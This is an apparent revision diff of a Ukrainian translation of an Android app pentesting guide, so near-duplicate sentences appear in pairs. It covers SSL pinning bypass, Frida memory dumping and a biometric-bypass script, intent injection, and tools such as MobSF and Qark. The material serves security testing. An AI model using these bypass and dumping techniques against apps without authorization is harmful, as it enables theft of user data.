Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити дані користувачів без токена CSRF, а вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині програми, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити деталі користувачів без токена CSRF, а вразлива кінцева точка використовує правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
**Більше прикладів**
@ -399,16 +403,16 @@ _Зверніть увагу, що ви можете **пропустити ім
### Перевірка та верифікація транспортного шару
- **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи ненадійні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або дані користувачів, від перехоплення зловмисними особами.
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або деталі користувачів, від перехоплення зловмисними особами.
#### Перевірка сертифікатів
Ми зосередимося на **перевірці сертифікатів**. Цілісність сертифіката сервера повинна бути перевірена для підвищення безпеки. Це важливо, оскільки ненадійні конфігурації TLS та передача чутливих даних через незашифровані канали можуть становити значні ризики. Для детальних кроків щодо перевірки сертифікатів сервера та усунення вразливостей, [**цей ресурс**](https://manifestsecurity.com/android-application-security-part-10/) надає всебічні рекомендації.
Ми зосередимося на **перевірці сертифікатів**. Цілісність сертифіката сервера повинна бути перевірена для підвищення безпеки. Це важливо, оскільки небезпечні конфігурації TLS та передача чутливих даних через незашифровані канали можуть становити значні ризики. Для детальних кроків щодо перевірки сертифікатів сервера та усунення вразливостей, [**цей ресурс**](https://manifestsecurity.com/android-application-security-part-10/) надає всебічні рекомендації.
#### SSL Pinning
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера на відповідність відомій копії, збереженій у самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
SSL Pinning - це захід безпеки, коли додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
#### Інспекція трафіку
@ -416,7 +420,7 @@ SSL Pinning - це захід безпеки, при якому додаток
Додатки, що націлені на **API Level 24 і вище**, потребують модифікацій конфігурації безпеки мережі, щоб приймати сертифікат CA проксі. Цей крок є критично важливим для перевірки зашифрованого трафіку. Для інструкцій щодо модифікації конфігурації безпеки мережі, [**зверніться до цього посібника**](make-apk-accept-ca-certificate.md).
Якщо використовується **Flutter**, вам потрібно дотримуватись інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката до сховища не спрацює, оскільки Flutter має свій власний список дійсних CA.
Якщо використовується **Flutter**, вам потрібно дотримуватися інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката в сховище не спрацює, оскільки Flutter має свій власний список дійсних CA.
#### Обхід SSL Pinning
@ -430,17 +434,17 @@ SSL Pinning - це захід безпеки, при якому додаток
#### Пошук загальних веб-вразливостей
Важливо також шукати загальні веб-вразливості в додатку. Детальна інформація про виявлення та усунення цих вразливостей виходить за межі цього резюме, але вона широко висвітлюється в інших джерелах.
Важливо також шукати загальні веб-вразливості в додатку. Детальна інформація про виявлення та усунення цих вразливостей виходить за межі цього резюме, але широко висвітлюється в інших джерелах.
### Frida
[Frida](https://www.frida.re) - це набір інструментів для динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
**Ви можете отримати доступ до працюючого додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
Якщо ви хочете проводити тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
**Ви можете отримати доступ до запущеного додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
Якщо ви хочете провести тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
- Дізнайтеся, як використовувати Frida: [**Посібник з Frida**](frida-tutorial/index.html)
- Деякі "GUI" для дій з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection - це чудовий інструмент для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ojection чудово підходить для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Ви можете знайти деякі чудові скрипти Frida тут: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Спробуйте обійти механізми анти-дебагінгу / анти-Frida, завантажуючи Frida, як вказано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs))
@ -457,7 +461,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Це скине пам'ять у папку ./dump, і там ви можете використовувати grep з чимось на кшталт:
Це скине пам'ять у папку ./dump, і там ви зможете використовувати grep з чимось на кшталт:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
@ -481,7 +485,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до нього).
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
@ -495,7 +499,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
### Ін'єкція намірів
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі широкомовлення, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до шкідливих ін'єкцій Намір.
@ -504,14 +508,14 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
- **Ін'єкція намірів** подібна до проблеми відкритого перенаправлення в вебі.
- Експлойти включають передачу об'єктів `Intent` як додаткових параметрів, які можуть бути перенаправлені для виконання небезпечних операцій.
- Це може відкрити неекспортовані компоненти та постачальників контенту для зловмисників.
- Перетворення URL в `Intent` у `WebView` може сприяти ненавмисним діям.
- Перетворення URL-адреси `WebView` на `Intent` може сприяти ненавмисним діям.
### Ін'єкції на стороні клієнта Android та інші
Можливо, ви знаєте про цей вид вразливостей з вебу. Вам потрібно бути особливо обережними з цими вразливостями в Android-додатку:
- **SQL-ін'єкція:** При роботі з динамічними запитами або постачальниками контенту переконайтеся, що ви використовуєте параметризовані запити.
- **Ін'єкція JavaScript (XSS):** Переконайтеся, що підтримка JavaScript і плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
- **Ін'єкція JavaScript (XSS):** Переконайтеся, що підтримка JavaScript та плагінів вимкнена для будь-яких WebViews (вимкнено за замовчуванням). [Більше інформації тут](webview-attacks.md#javascript-enabled).
- **Включення локальних файлів:** WebViews повинні мати доступ до файлової системи вимкненим (включено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [Більше інформації тут](webview-attacks.md#javascript-enabled).
- **Вічні куки**: У кількох випадках, коли Android-додаток завершує сесію, куки не відкликаються або можуть навіть зберігатися на диску.
- [**Безпечний прапорець** у куках](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -534,14 +538,14 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **та Windows**(apx) програми (_Windows програми повинні аналізуватися з MobSF, встановленого на Windows хості_).\
Також, якщо ви створите **ZIP** файл з вихідним кодом **Android** або **IOS** програми (перейдіть до кореневої папки програми, виберіть все і створіть ZIP-файл), він також зможе його проаналізувати.
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде вказати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **хеш** буде **завантажений** замість файлу.
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **хеш** буде **завантажений** замість файлу.
### Допоміжний динамічний аналіз з MobSF
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). римітка: Спочатку потрібно **запустити VM в genymotion**, а **потім MobSF.**_\
**MobSF** також може бути дуже корисним для **динамічного аналізу** в **Android**, але в цьому випадку вам потрібно буде встановити MobSF і **genymotion** на вашому хості (VM або Docker не працюватимуть). римітка: Вам потрібно **спочатку запустити VM в genymotion** і **потім MobSF.**_\
**Динамічний аналізатор MobSF** може:
- **Вивантажити дані програми** (URL-адреси, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
- **Вивантажити дані програми** (URL-адреси, журнали, буфер обміну, скріншоти, зроблені вами, скріншоти, зроблені "**Exported Activity Tester**", електронні листи, бази даних SQLite, XML файли та інші створені файли). Усе це виконується автоматично, за винятком скріншотів, вам потрібно натиснути, коли ви хочете зробити скріншот, або вам потрібно натиснути "**Exported Activity Tester**", щоб отримати скріншоти всіх експортованих активностей.
- Захоплювати **HTTPS трафік**
- Використовувати **Frida** для отримання **інформації під час виконання**
@ -549,7 +553,7 @@ MobSF також дозволяє вам **diff/Compare** аналіз і інт
**Frida**
За замовчуванням він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера**, а також для **моніторингу цікавих API**.\
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера** та для **моніторингу цікавих API**.\
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
@ -557,20 +561,20 @@ MobSF також дозволяє вам завантажувати власні
![](<../../images/image (419).png>)
Крім того, у вас є деякі допоміжні функції Frida:
Більше того, у вас є деякі допоміжні функції Frida:
- **Перерахувати завантажені класи**: Він виведе всі завантажені класи
- **Захопити рядки**: Він виведе всі захоплені рядки під час використання програми (дуже шумно)
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, що порівнюються** і чи був результат True чи False.
- **Захопити порівняння рядків**: Може бути дуже корисно. Він **показуватиме 2 рядки, які порівнюються** і чи був результат True чи False.
- **Перерахувати методи класу**: Введіть ім'я класу (наприклад, "java.io.File") і він виведе всі методи класу.
- **Шукати шаблон класу**: Шукати класи за шаблоном
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android API.
Коли ви виберете допоміжний модуль, який хочете використовувати, вам потрібно натиснути "**Start Instrumentation**" і ви побачите всі виходи в "**Frida Live Logs**".
Коли ви виберете допоміжний модуль, який хочете використовувати, вам потрібно натиснути "**Start Instrumentation**", і ви побачите всі виходи в "**Frida Live Logs**".
**Shell**
Mobsf також надає вам оболонку з деякими **adb** командами, **MobSF командами** та загальними **shell** **командами** внизу сторінки динамічного аналізу. Декілька цікавих команд:
Mobsf також надає вам оболонку з деякими **adb** командами, **MobSF командами** та загальними **shell** **командами** внизу сторінки динамічного аналізу. Деякі цікаві команди:
```bash
help
shell ls
@ -581,8 +585,8 @@ receivers
```
**HTTP інструменти**
Коли http трафік захоплений, ви можете побачити непривабливий вигляд захопленого трафіку на "**HTTP(S) Traffic**" внизу або більш привабливий вигляд у "**Start HTTPTools**" зеленій кнопці. З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
Для цього, _включіть Burp -->_ _вимкніть Intercept --> у MobSB HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Коли http трафік захоплений, ви можете побачити непривабливий вигляд захопленого трафіку на "**HTTP(S) Traffic**" внизу або більш привабливий вигляд на зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** таких як Burp або Owasp ZAP.\
Для цього, _включіть Burp -->_ _вимкніть Intercept --> в MobSB HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Коли ви закінчите динамічний аналіз з MobSF, ви можете натиснути на "**Start Web API Fuzzer**", щоб **фузити http запити** та шукати вразливості.
@ -606,7 +610,7 @@ receivers
### [Qark](https://github.com/linkedin/qark)
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних із безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
Цей інструмент призначений для пошуку кількох **вразливостей Android додатків, пов'язаних з безпекою**, як у **джерельному коді**, так і в **упакованих APK**. Інструмент також **може створювати "Proof-of-Concept" розгортаємий APK** та **команди ADB**, щоб експлуатувати деякі з виявлених вразливостей (викриті активності, наміри, tapjacking...). Як і з Drozer, немає необхідності рутувати тестовий пристрій.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -658,9 +662,9 @@ androbugs.exe -f [APK file]
**Androwarn** - це інструмент, основна мета якого полягає в виявленні та попередженні користувача про потенційно шкідливу поведінку, розроблену Android-додатком.
Виявлення здійснюється за допомогою **статичного аналізу** байт-коду Dalvik додатку, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
Виявлення здійснюється за допомогою **статичного аналізу** байт-коду Dalvik додатка, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
Цей інструмент шукає **поширену поведінку "поганих" додатків**, таких як: ексфільтрація ідентифікаторів телекомунікацій, перехоплення аудіо/відео потоків, модифікація даних PIM, виконання довільного коду...
Цей інструмент шукає **поширену поведінку "поганих" додатків**, таких як: ексфільтрація ідентифікаторів телекомунікацій, перехоплення аудіо/відео потоків, модифікація PIM-даних, виконання довільного коду...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -668,7 +672,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш дружнім для розробників мобільних додатків і фахівців з безпеки.
**MARA** - це **M**обільний **A**плікаційний **R**еверс-інжиніринг та **A**наліз Фреймворк. Це інструмент, який об'єднує загальновживані інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти в тестуванні мобільних додатків на предмет загроз безпеці мобільних додатків OWASP. Його мета - спростити це завдання та зробити його більш зручним для розробників мобільних додатків та фахівців з безпеки.
Він здатний:
@ -707,7 +711,7 @@ ProGuard розповсюджується як частина Android SDK і з
### [DeGuard](http://apk-deguard.com)
**DeGuard скасовує процес обфускації, виконуваний інструментами обфускації Android. Це дозволяє проводити численні аналізи безпеки, включаючи перевірку коду та прогнозування бібліотек.**
**DeGuard скасовує процес обфускації, виконуваний інструментами обфускації Android. Це дозволяє проводити численні аналізи безпеки, включаючи інспекцію коду та прогнозування бібліотек.**
Ви можете завантажити обфускований APK на їх платформу.
@ -725,7 +729,7 @@ APKiD надає вам інформацію про **те, як був ство
### Manual
[Прочитайте цей посібник, щоб дізнатися деякі хитрощі про **те, як реверсувати власну обфускацію**](manual-deobfuscation.md)
[Прочитайте цей посібник, щоб дізнатися кілька трюків про **те, як реверсувати власну обфускацію**](manual-deobfuscation.md)
## Labs